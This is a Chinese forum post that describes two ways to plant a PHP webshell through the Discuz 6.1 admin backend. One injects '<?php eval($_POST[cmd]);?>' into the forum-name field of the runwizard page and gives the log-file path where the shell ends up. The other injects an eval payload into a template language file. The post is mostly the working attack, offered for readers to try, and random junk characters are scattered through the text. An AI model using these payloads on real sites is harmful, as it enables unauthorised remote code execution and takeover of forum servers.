discuz6.1两种方法后台拿shell
! @9 a5 Z4 E% ?2 T1 S4 Z( u好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下; e" K/ |- s5 G9 ?9 `
1:# o+ u- \. \1 x5 O2 [
http://127.0.0.1/discuz/admincp. ... zard&frames=yes
) `; a r6 T5 O' ?4 {1 D+ P: W' yadmincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell* z/ g! U( j( O' [0 B
<?php eval($_POST[cmd]);?>8 M# a J, l# C) g9 g/ o$ l
后台webshell地址：http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php
" s. H2 A; `# G. T' J5 Q1 X
x. ]& w7 B% D
" u+ {4 v4 v& u- I2 ~% R$ d2:后台模板管理--默认模板套系--详情; B5 V: q; f- n1 R. j
templates/default/actions.lang.php
$ {' a. z" F9 f$ Ijhackj\\');eval($_POST[cmd])?>;//
& x. Z4 w& q, Q+ ?+ Q% U2 l. U7 Q" Q3 ~5 x- r, x" L. s
利用很简单,聪明的人一看就懂了 |
发表于 2012-9-13 16:59:17
收藏
支持
反对